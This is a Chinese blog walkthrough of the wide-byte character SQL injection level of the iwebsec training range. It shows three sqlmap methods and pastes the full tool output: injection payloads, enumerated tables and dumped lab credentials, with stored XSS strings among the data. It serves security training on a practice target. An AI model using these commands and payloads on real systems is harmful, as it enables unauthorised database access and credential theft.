• iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）

    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    目录

    系列文章目录

    前言

    第02关 字符型注入

     1.源码分析

    2.字符型宽字节注入

    （1）渗透方法1：

             （2）渗透方法2：

    （3）渗透方法3：

    总结

    目录

    系列文章目录

    文章目录

    前言

    第02关 字符型注入

    1.源码分析

    2.宽字节注入

    （1）渗透方法1：

    （3）渗透方法3：

    总结

    前言

     打开靶场，url为 http://192.168.71.151/sqli/02.php?id=1 如下所示

    第02关 字符型注入

    1.源码分析

    如下所示，存在宽字节注入漏洞且闭合符号为单引号

    2.字符型宽字节注入

    首先构造sqlmap语句，url地址为 http://192.168.71.151/sqli/02.php?id=1

    很明显直接使用如下语句是不会成功的

     sqlmap -u http://192.168.71.151/sqli/02.php?id=1 --current-db --dump --batch

    因为这是宽字节注入漏洞，使用默认方法不会渗透成功 

    (1)渗透方法1：

    将url中的id=1便问id=1%df* ，即将宽字符特征%df加入到参数1后，同时在后面加上*

    sqlmap -u http://192.168.71.151/sqli/01.php?id=1%df*  --current-db --dump --batch

     完整交互过程如下所示

    1. [21:46:26] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
    2. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    3. sqlmap identified the following injection point(s) with a total of 1260 HTTP(s) requests:
    4. ---
    5. Parameter: #1* (URI)
    6.     Type: error-based
    7.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    8.     Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 5388 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(5388=5388,1))),0x7171767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    9.  
    10.     Type: time-based blind
    11.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    12.     Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 2061 FROM (SELECT(SLEEP(5)))lOnr)
    13.  
    14.     Type: UNION query
    15.     Title: MySQL UNION query (random number) - 3 columns
    16.     Payload: http://192.168.71.151:80/sqli/01.php?id=-7105 UNION ALL SELECT CONCAT(0x7178707a71,0x706b715151526771476f687a6e4c71617a504e4e5a644541656d6b4f45757642636c43795276784f,0x7171767a71),9687,9687#
    17. ---
    18. [21:46:26] [INFO] the back-end DBMS is MySQL
    19. web server operating system: Linux CentOS 6
    20. web application technology: Apache 2.2.15, PHP 5.2.17
    21. back-end DBMS: MySQL >= 5.0
    22. [21:46:26] [INFO] fetching current database
    23. current database: 'iwebsec'
    24. [21:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    25. [21:46:26] [INFO] fetching current database
    26. [21:46:26] [INFO] fetching tables for database: 'iwebsec'
    27. [21:46:26] [INFO] retrieved: 'sqli'
    28. [21:46:26] [INFO] retrieved: 'user'
    29. [21:46:27] [INFO] retrieved: 'users'
    30. [21:46:27] [INFO] retrieved: 'xss'
    31. [21:46:27] [INFO] fetching columns for table 'xss' in database 'iwebsec'                                                                                                                                                                  
    32. [21:46:27] [INFO] retrieved: 'id','int(11)'
    33. [21:46:27] [INFO] retrieved: 'name','varchar(255)'
    34. [21:46:27] [INFO] fetching entries for table 'xss' in database 'iwebsec'                                                                                                                                                                  
    35. [21:46:27] [INFO] retrieved: '7',''
    36. [21:46:27] [INFO] retrieved: '6',''
    37. [21:46:27] [INFO] retrieved: '5',''
    38. [21:46:27] [INFO] retrieved: '1','iwebsec'
    39. [21:46:27] [INFO] retrieved: '8',''
    40. Database: iwebsec                                                                                                                                                                                                                         
    41. Table: xss
    42. [5 entries]
    43. +----+------------------------------------+
    44. | id | name                               |
    45. +----+------------------------------------+
    46. | 7  | <img src=1 onerror=alert(/ctfs/)/> |
    47. | 6  | <img src=1 onerror=alert(/ctfs/)/> |
    48. | 5  | <img src=1 onerror=alert(/ctfs/)/> |
    49. | 1  | iwebsec                            |
    50. | 8  | <?php phpinfo();?>                 |
    51. +----+------------------------------------+
    52.  
    53. [21:46:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    54. [21:46:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
    55. [21:46:27] [INFO] retrieved: 'id','int(11)'
    56. [21:46:27] [INFO] retrieved: 'username','varchar(255)'
    57. [21:46:27] [INFO] retrieved: 'password','varchar(255)'
    58. [21:46:27] [INFO] fetching entries for table 'user' in database 'iwebsec'                                                                                                                                                                 
    59. [21:46:27] [INFO] retrieved: '1','pass1','user1'
    60. [21:46:27] [INFO] retrieved: '2','pass2','user2'
    61. [21:46:27] [INFO] retrieved: '3','pass3','user3'
    62. Database: iwebsec                                                                                                                                                                                                                         
    63. Table: user
    64. [3 entries]
    65. +----+----------+----------+
    66. | id | password | username |
    67. +----+----------+----------+
    68. | 1  | pass1    | user1    |
    69. | 2  | pass2    | user2    |
    70. | 3  | pass3    | user3    |
    71. +----+----------+----------+
    72.  
    73. [21:46:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    74. [21:46:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
    75. [21:46:27] [INFO] retrieved: 'username','varchar(255)'
    76. [21:46:27] [INFO] retrieved: 'password','varchar(255)'
    77. [21:46:27] [INFO] retrieved: 'role','varchar(255)'
    78. [21:46:27] [INFO] fetching entries for table 'users' in database 'iwebsec'                                                                                                                                                                
    79. Database: iwebsec
    80. Table: users
    81. [1 entry]
    82. +-------+-------------+----------+
    83. | role  | password    | username |
    84. +-------+-------------+----------+
    85. | admin | mall123mall | orange   |
    86. +-------+-------------+----------+
    87.  
    88. [21:46:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    89. [21:46:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    90. [21:46:27] [INFO] retrieved: 'id','int(11)'
    91. [21:46:27] [INFO] retrieved: 'username','varchar(255)'
    92. [21:46:27] [INFO] retrieved: 'password','varchar(255)'
    93. [21:46:27] [INFO] retrieved: 'email','varchar(255)'
    94. [21:46:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'                                                                                                                                                                 
    95. [21:46:27] [INFO] retrieved: 'user1@iwebsec.com','1','pass1','user1'
    96. [21:46:27] [INFO] retrieved: 'user2@iwebsec.com','2','pass2','user2'
    97. [21:46:27] [INFO] retrieved: 'user3@iwebsec.com','3','pass3','user3'
    98. [21:46:27] [INFO] retrieved: 'user4@iwebsec.com','4','admin','admin'
    99. [21:46:27] [INFO] retrieved: '123@123.com','5','123','123'
    100. [21:46:27] [INFO] retrieved: '1234@123.com','6','123','ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
    101. [21:46:27] [INFO] retrieved: 'iwebsec02@iwebsec.com','7','123456','iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
    102. Database: iwebsec                                                                                                                                                                                                                         
    103. Table: sqli
    104. [7 entries]
    105. +----+-----------------------+----------+------------------------------------------------------+
    106. | id | email                 | password | username                                             |
    107. +----+-----------------------+----------+------------------------------------------------------+
    108. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    109. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    110. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    111. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    112. | 5  | 123@123.com           | 123      | 123                                                  |
    113. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    114. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    115. +----+-----------------------+----------+------------------------------------------------------+
    116.  
    117. [21:46:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    118. [21:46:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    119. [21:46:27] [WARNING] your sqlmap version is outdated
    120.  
    121. [*] ending @ 21:46:27 /2022-11-24/

    (2)渗透方法2：

    增加宽字符脚本 --tamper unmagicquotes

    sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch   --tamper unmagicquotes

    完整交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch   --tamper unmagicquotes
    2.         ___
    3.        __H__                                                                                                                                                                                                                               
    4.  ___ ___[)]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
    5. |_ -| . [']     | .'| . |                                                                                                                                                                                                                  
    6. |___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                  
    7.       |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               
    8.  
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    11. [*] starting @ 21:53:15 /2022-11-24/
    13. [21:53:15] [INFO] loading tamper module 'unmagicquotes'
    14. [21:53:15] [INFO] resuming back-end DBMS 'mysql' 
    15. [21:53:15] [INFO] testing connection to the target URL
    16. sqlmap resumed the following injection point(s) from stored session:
    17. ---
    18. Parameter: id (GET)
    19.     Type: boolean-based blind
    20.     Title: Boolean-based blind - Parameter replace (original value)
    21.     Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))
    23.     Type: error-based
    24.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    25.     Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    27.     Type: time-based blind
    28.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    29.     Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)
    31.     Type: UNION query
    32.     Title: Generic UNION query (NULL) - 3 columns
    33.     Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
    34. ---
    35. [21:53:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
    36. [21:53:15] [INFO] the back-end DBMS is MySQL
    37. web server operating system: Linux CentOS 6
    38. web application technology: PHP 5.2.17, Apache 2.2.15
    39. back-end DBMS: MySQL >= 5.0
    40. [21:53:15] [INFO] fetching current database
    41. current database: 'iwebsec'
    42. [21:53:15] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    43. [21:53:15] [INFO] fetching current database
    44. [21:53:15] [INFO] fetching tables for database: 'iwebsec'
    45. [21:53:15] [INFO] fetching columns for table 'user' in database 'iwebsec'
    46. [21:53:15] [INFO] fetching entries for table 'user' in database 'iwebsec'
    47. Database: iwebsec
    48. Table: user
    49. [3 entries]
    50. +----+----------+----------+
    51. | id | password | username |
    52. +----+----------+----------+
    53. | 1  | pass1    | user1    |
    54. | 2  | pass2    | user2    |
    55. | 3  | pass3    | user3    |
    56. +----+----------+----------+
    58. [21:53:15] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    59. [21:53:15] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    60. [21:53:15] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    61. Database: iwebsec
    62. Table: sqli
    63. [7 entries]
    64. +----+-----------------------+----------+------------------------------------------------------+
    65. | id | email                 | password | username                                             |
    66. +----+-----------------------+----------+------------------------------------------------------+
    67. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    68. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    69. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    70. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    71. | 5  | 123@123.com           | 123      | 123                                                  |
    72. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    73. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    74. +----+-----------------------+----------+------------------------------------------------------+
    76. [21:53:15] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    77. [21:53:15] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    78. [21:53:15] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    79. Database: iwebsec
    80. Table: xss
    81. [5 entries]
    82. +----+------------------------------------+
    83. | id | name                               |
    84. +----+------------------------------------+
    85. | 7  |  |
    86. | 6  |  |
    87. | 5  |  |
    88. | 1  | iwebsec                            |
    89. | 8  |                  |
    90. +----+------------------------------------+
    92. [21:53:15] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    93. [21:53:15] [INFO] fetching columns for table 'users' in database 'iwebsec'
    94. [21:53:15] [INFO] fetching entries for table 'users' in database 'iwebsec'
    95. Database: iwebsec
    96. Table: users
    97. [1 entry]
    98. +-------+-------------+----------+
    99. | role  | password    | username |
    100. +-------+-------------+----------+
    101. | admin | mall123mall | orange   |
    102. +-------+-------------+----------+
    104. [21:53:15] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    105. [21:53:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    106. [21:53:15] [WARNING] your sqlmap version is outdated
    108. [*] ending @ 21:53:15 /2022-11-24/

    (3)渗透方法3：

    bp抓包，将报文保存为iwebsec02.txt

     修改iwebsec02.txt,将id=1修改为id=1%df'* 如下图所示

    注意：根据源码分析这里面的%df是宽字节，'是单引号闭合，*则加在闭合的'后面，告知sqlmap这里为注入点，于是注入语句为

    sqlmap -r iwebsec02.txt --current-db --dump --batch

     如下所示，注入成功

    由于sqlmap的完整交互过程前面已有，故而这里并不将完整过程再次列出。

    总结

    本次渗透的关卡为字符型注入，其实总结来讲本关卡的难度相对而言作为第二关有些难度。

    通过源码再来分析下SQL注入重点内容：

    （1）闭合方式是什么？iwebsec的第02关关卡为字符型，闭合方式为单引号

    （2）注入类别是什么？这部分是宽字节型注入，需要使用%df

    （3）是否过滤了关键字？很明显通过源码，iwebsec的字符型关卡无过滤任何信息

    了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的第2关注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。

  • 相关阅读:
    Linux下yum源配置实战 1
    企业如何通过会员积分营销留住客户？
    离线 Linux 开发环境搭建
    1. 开篇：SpringBoot与SpringCloud的那些事
    我的Vue之旅 11 Vuex 实现购物车
    HttpOnly 标志——保护 Cookie 免受 XSS
    electron + vue3 + ts 打包后安装打开白屏解决
    程序员职场生活记录分享——打工人沪漂五年，不想工作了
    05 easyPoi的使用
    Go的安装
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128033601